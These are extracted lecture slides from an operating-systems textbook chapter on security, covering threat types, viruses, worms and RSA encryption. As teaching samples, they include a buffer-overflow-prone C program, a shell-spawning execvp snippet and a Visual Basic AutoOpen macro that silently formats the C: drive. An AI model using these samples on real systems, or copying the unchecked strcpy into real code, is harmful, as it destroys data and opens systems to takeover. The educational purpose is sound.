Chapter 15: Security
Chapter 15: Security
15.2
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Chapter 15: Security
Chapter 15: Security
The Security Problem
Program Threats
System and Network Threats
Cryptography as a Security Tool
User Authentication
Implementing Security Defenses
Firewalling to Protect Systems and Networks
Computer-Security Classifications
An Example: Windows XP
15.3
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Objectives
Objectives
To discuss security threats and attacks
To explain the fundamentals of encryption, authentication, and
hashing
To examine the uses of cryptography in computing
To describe the various countermeasures to security attacks
15.4
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
The Security Problem
The Security Problem
Security must consider external environment of the system, and
protect the system resources
Intruders (crackers) attempt to breach security
Threat is potential security violation
Attack is attempt to breach security
Attack can be accidental or malicious
Easier to protect against accidental than malicious misuse
15.5
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Security Violations
Security Violations
Categories
z Breach of confidentiality
z Breach of integrity
z Breach of availability
z Theft of service
z Denial of service
Methods
z Masquerading (breach authentication)
z Replay attack
Message modification
z Man-in-the-middle attack
z Session hijacking
15.6
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Standard Security Attacks
Standard Security Attacks
15.7
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Security Measure Levels
Security Measure Levels
Security must occur at four levels to be effective:
z Physical
z Human
Avoid social engineering, phishing, dumpster diving
z Operating System
z Network
Security is as week as the weakest chain
15.8
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Program Threats
Program Threats
Trojan Horse
z Code segment that misuses its environment
z Exploits mechanisms for allowing programs written by users to be
executed by other users
z Spyware, pop-up browser windows, covert channels
Trap Door
z Specific user identifier or password that circumvents normal security
procedures
z Could be included in a compiler
Logic Bomb
z Program that initiates a security incident under certain circumstances
Stack and Buffer Overflow
z Exploits a bug in a program (overflow either the stack or memory
buffers)
15.9
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
C Program with Buffer
C Program with Buffer
-
-
overflow Condition
overflow Condition
#include <stdio.h>
#define BUFFER SIZE 256
int main(int argc, char *argv[])
{
char buffer[BUFFER SIZE];
if (argc < 2)
return -1;
else {
strcpy(buffer,argv[1]);
return 0;
}
}
15.10
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Layout of Typical Stack Frame
Layout of Typical Stack Frame
15.11
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Modified Shell Code
Modified Shell Code
#include <stdio.h>
int main(int argc, char *argv[])
{
execvp(‘‘\bin\sh’’,‘‘\bin \sh’’, NULL);
return 0;
}
15.12
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Hypothetical Stack Frame
Hypothetical Stack Frame
Before attack
After attack
15.13
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Program Threats (Cont.)
Program Threats (Cont.)
Viruses
z Code fragment embedded in legitimate program
z Very specific to CPU architecture, operating system,
applications
z Usually borne via email or as a macro
Visual Basic Macro to reformat hard drive
Sub AutoOpen()
Dim oFS
Set oFS =
CreateObject(’’Scripting.FileSystemObject’’)
vs = Shell(’’c:command.com /k format
c:’’,vbHide)
End Sub
15.14
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Program Threats (Cont.)
Program Threats (Cont.)
Virus dropper inserts virus onto the system
Many categories of viruses, literally many thousands of viruses
z File
z Boot
z Macro
z Source code
z Polymorphic
z Encrypted
z Stealth
z Tunneling
z Multipartite
z Armored
15.15
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
A Boot
A Boot
-
-
sector Computer Virus
sector Computer Virus
15.16
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
System and Network Threats
System and Network Threats
Worms – use spawn mechanism; standalone program
Internet worm
z Exploited UNIX networking features (remote access) and bugs
in finger and sendmail programs
z Grappling hook program uploaded main worm program
Port scanning
z Automated attempt to connect to a range of ports on one or a
range of IP addresses
Denial of Service
z Overload the targeted computer preventing it from doing any
useful work
z Distributed denial-of-service (DDOS) come from multiple sites
at once
15.17
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
The Morris Internet Worm
The Morris Internet Worm
15.18
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Cryptography as a Security Tool
Cryptography as a Security Tool
Broadest security tool available
z Source and destination of messages cannot be trusted without
cryptography
z Means to constrain potential senders (sources) and / or
receivers (destinations) of messages
Based on secrets (keys)
15.19
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Secure Communication over Insecure Medium
Secure Communication over Insecure Medium
15.20
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Encryption
Encryption
Encryption algorithm consists of
z Set of K keys
z Set of M Messages
z Set of C ciphertexts (encrypted messages)
z A function E : K → (M→C). That is, for each k ∈ K, E(k) is a function for
generating ciphertexts from messages.
Both E and E(k) for any k should be efficiently computable functions.
z A function D : K → (C → M). That is, for each k
∈
K, D(k) is a function for
generating messages from ciphertexts.
Both D and D(k) for any k should be efficiently computable functions.
An encryption algorithm must provide this essential property: Given a ciphertext c
∈
C,
a computer can compute m such that E(k)(m) = c only if it possesses D(k).
z Thus, a computer holding D(k) can decrypt ciphertexts to the plaintexts used to
produce them, but a computer not holding D(k) cannot decrypt ciphertexts.
z Since ciphertexts are generally exposed (for example, sent on the network), it is
important that it be infeasible to derive D(k) from the ciphertexts
15.21
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Symmetric Encryption
Symmetric Encryption
Same key used to encrypt and decrypt
z E(k) can be derived from D(k), and vice versa
DES is most commonly used symmetric block-encryption algorithm
(created by US Govt)
z Encrypts a block of data at a time
Triple-DES considered more secure
Advanced Encryption Standard (AES), twofish up and coming
RC4 is most common symmetric stream cipher, but known to have
vulnerabilities
z Encrypts/decrypts a stream of bytes (i.e wireless transmission)
z Key is a input to psuedo-random-bit generator
Generates an infinite keystream
15.22
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Asymmetric Encryption
Asymmetric Encryption
Public-key encryption based on each user having two keys:
z public key – published key used to encrypt data
z private key – key known only to individual user used to decrypt
data
Must be an encryption scheme that can be made public without
making it easy to figure out the decryption scheme
z Most common is RSA block cipher
z Efficient algorithm for testing whether or not a number is prime
z No efficient algorithm is know for finding the prime factors of a
number
15.23
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Asymmetric Encryption (Cont.)
Asymmetric Encryption (Cont.)
Formally, it is computationally infeasible to derive D(k
d
, N)
from E(k
e
, N), and so E(k
e
, N) need not be kept secret and
can be widely disseminated
z E(k
e
, N) (or just k
e
) is the public key
z D(k
d
, N) (or just k
d
) is the private key
z N is the product of two large, randomly chosen prime
numbers p and q (for example, p and q are 512 bits
each)
z Encryption algorithm is E(k
e
, N)(m) = m
k
e
mod N, where
k
e
satisfies k
e
k
d
mod (p−1)(q −1) = 1
z The decryption algorithm is then D(k
d
, N)(c) = c
k
d
mod N
15.24
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Asymmetric Encryption Example
Asymmetric Encryption Example
For example. make p = 7and q = 13
We then calculate N = 7∗13 = 91 and (p−1)(q−1) = 72
We next select k
e
relatively prime to 72 and< 72, yielding 5
Finally,we calculate k
d
such that k
e
k
d
mod 72 = 1, yielding 29
We how have our keys
z Public key, k
e,
N = 5, 91
z Private key, k
d
, N = 29, 91
Encrypting the message 69 with the public key results in the
cyphertext 62
Cyphertext can be decoded with the private key
z Public key can be distributed in cleartext to anyone who wants
to communicate with holder of public key
15.25
Silberschatz, Galvin and Gagne ©2005
Operating System Concepts – 7
th
Edition, Jan 10, 2005
Encryption and Decryption using RSA
Encryption and Decryption using RSA
Asymmetric Cryptography
Asymmetric Cryptography